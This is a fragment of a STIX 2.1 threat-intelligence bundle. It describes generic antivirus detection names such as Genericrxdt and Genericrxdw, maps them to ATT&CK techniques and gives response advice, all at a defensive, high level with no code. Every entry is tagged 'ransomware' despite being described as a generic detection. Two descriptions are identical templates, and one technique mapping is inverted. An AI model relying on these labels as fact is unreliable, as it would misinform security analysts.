      "description": "<h3>Executive Summary</h3>\n\"Genericrxdi\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a specific, named malware family but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or highly obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxdi\" label is applied when a file's execution behavior triggers a specific set of advanced heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware variants that easily evade traditional static signature detection.\n\nCommon behaviors that trigger this detection include:\n<ul>\n<li><strong>Suspicious Packing (High Entropy):</strong> The executable is heavily compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Injection:</strong> The executable attempts to inject malicious code into a legitimate Windows process to hide its execution and bypass local firewalls.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxdi alert must be treated as a high-priority security incident. Because the alert is generic, the true intent of the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating, enterprise-wide ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt any active C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere in the environment.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxdi",
        "Heur.Genericrxdi",
        "Suspicious.Genericrxdi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc1a5550-b802-5282-9077-b6000e820af0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3429c6d-9ebf-5fc6-b0a4-576e66d40d64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5104e4ad-5886-546c-b972-7365930747ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4e12147-6f4a-5544-b64e-8e1f08aea21f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dc33c6c-2a05-55eb-9e37-b05fc7c71917",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee5cc7b5-34b0-51f8-ac76-a2fa02a032e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdm",
      "description": "Trojan:Win32/Genericrxdm is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxdm</b><br>To an end-user, a Genericrxdm infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxdm is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxdm is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxdm frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxdm reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4268266-0f74-5947-ada0-0251d97232b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f75c50f-6fd4-5f44-805e-304486199c71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d36fd07-c2d5-5660-8ba5-b5f41b29838c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f785e1f-7142-5f5d-bcde-99e0bdce951a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdm exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4f0f108-99f2-55a1-bce8-5171de2c0016",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b15cdcb4-9504-56ff-bca9-74fd15f5fc9d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdm exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdr",
      "description": "Trojan:Win32/Genericrxdr is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxdr</b><br>To an end-user, a Genericrxdr infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxdr is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxdr is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxdr frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxdr reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2203b18a-0fa6-5acf-a509-83ec71f7c7e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a41a741-e028-5188-b3fa-0c66c67a060a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44374764-8061-5a57-a732-130920d952bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e97f32a-43c1-5aa3-bb9c-f635e2c4a1fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc94c135-9c22-5c92-960d-58a6ea80b60d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a275a4-7619-57f3-b6d1-b73e70e3a91f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdt",
      "description": "Trojan:Win32/Genericrxdt is a broad, generic heuristic detection utilized by antivirus engines (primarily Microsoft Defender) to flag executables exhibiting highly suspicious, trojan-like behavior or those utilizing aggressive packing techniques commonly associated with malware.<br><br><b>Understanding Genericrxdt</b><br>To the end-user, this is a standard antivirus block. For a security analyst, a 'Generic' or 'rxdt' detection means the AV engine does not recognize the specific malware family via a known hash or signature. Instead, the engine's behavioral analysis or machine-learning models determined the file is malicious based on its structure (e.g., high entropy indicating a packer) or its actions upon execution (e.g., attempting to inject code into another process).<br><br><b>Execution and Threat Hunting</b><br>Because it is a generic detection, the infection vector and execution strategy vary wildly. It could be an early-stage downloader dropped via a phishing email, a newly compiled ransomware variant, or a custom RAT used in a targeted attack. The AV engine triggered because the executable likely attempted one of several red-flag behaviors: dropping a file into `%SystemRoot%`, attempting to modify a critical Registry Run key (`T1547.001`), or utilizing API calls associated with Process Hollowing (`T1055.012`). Threat hunters must rely on EDR telemetry to trace the exact lineage of the file and identify what specific behaviors triggered the heuristic block.<br><br><b>Forensic Analysis & Impact</b><br>The impact is entirely dependent on the true nature of the payload. Incident responders cannot rely on the 'Genericrxdt' name for attribution. The immediate focus must be on obtaining the quarantined binary. Memory forensics and dynamic analysis in a sandbox are essential to force the payload to unpack itself and reveal its true capabilities, C2 infrastructure, and objectives. (Observed samples in benchmark: 67)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--accc2dd5-53ec-57c8-9dec-05163d3585ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47221ffc-742d-571a-b7ed-1caa59149756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cca9b86-893e-5e6c-9e51-46f77fa9641a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f130deba-88ec-5a1b-8ee5-99bdbcdcff94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdt exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b92a8d7-015b-576a-a622-c8008b492ff8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b7b154e-40a8-542a-a5dc-d1fc16d236f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdw",
      "description": "Trojan:Win32/Genericrxdw is a broad heuristic classification applied to generic, malicious executables that exhibit recognizable Trojan-like behaviors, such as establishing unsanctioned network connections, injecting code into system processes, or manipulating the registry, but which lack a specific family signature.<br><br><b>Understanding Genericrxdw</b><br>To an end-user, Genericrxdw is a standard antivirus warning. For incident responders, 'Genericrxdw' is a generic indicator of a potentially severe, unidentified threat. Cybercriminals utilize dynamic packing, crypters, and polymorphic code generators to ensure every binary they distribute has a unique hash. When an AV engine encounters one of these novel files, it relies on behavioral heuristics (like observing an unsigned file dropping a payload into `%AppData%`) to classify it generically as Genericrxdw.<br><br><b>Execution and Behavioral Indicators</b><br>Because it is a generic detection, the infection vectors are vast (phishing, exploit kits, drive-by downloads). Upon execution, the malware typically triggers the heuristic detection by attempting to establish persistence via the Registry Run keys (`T1547.001`), injecting malicious threads into legitimate processes like `svchost.exe` (`T1055`), or disabling local Windows Defender services (`T1562.001`). Threat hunters must treat a Genericrxdw detection as an active investigation, as the generic label provides no intelligence on whether the payload is a simple adware dropper or a precursor to a ransomware deployment.<br><br><b>Forensic Analysis & Impact</b><br>The impact depends entirely on the specific, underlying payload. EDR tools are essential for analyzing a Genericrxdw alert, as they provide the process tree context. Analysts must trace the execution path: What process spawned the Genericrxdw file? What child processes did it attempt to launch? What IP addresses did it attempt to contact? The quarantined binary must be submitted to a sandbox for dynamic analysis to identify its true capabilities. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47eb951b-858d-5bc8-838f-eba227f1b2cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdw exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79293302-a7ab-58ec-b09d-3f717b8ba4e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65be07f0-aa88-5bfe-899c-a6035f41dd2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2463d0b-dd6e-55d6-86ce-0de91a378ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdw exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44c4b7ee-0e92-56cd-af82-b5276ea5faa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd4e1696-31bb-528a-8dde-b2e0ae6cf000",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdw exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b789d9e4-9e4d-55ea-8a4d-3299a75c1eb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdx",
      "description": "Trojan:Win32/Genericrxdx is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxdx (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxdx usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9c391c4-85b3-5774-a67e-7f1d0d9181fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b789d9e4-9e4d-55ea-8a4d-3299a75c1eb0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdx exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--727b4ca7-913b-54cf-8923-40dbc39a8429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b789d9e4-9e4d-55ea-8a4d-3299a75c1eb0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdx exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10304a72-fdee-5f91-a09d-9eb5340cbecd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b789d9e4-9e4d-55ea-8a4d-3299a75c1eb0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
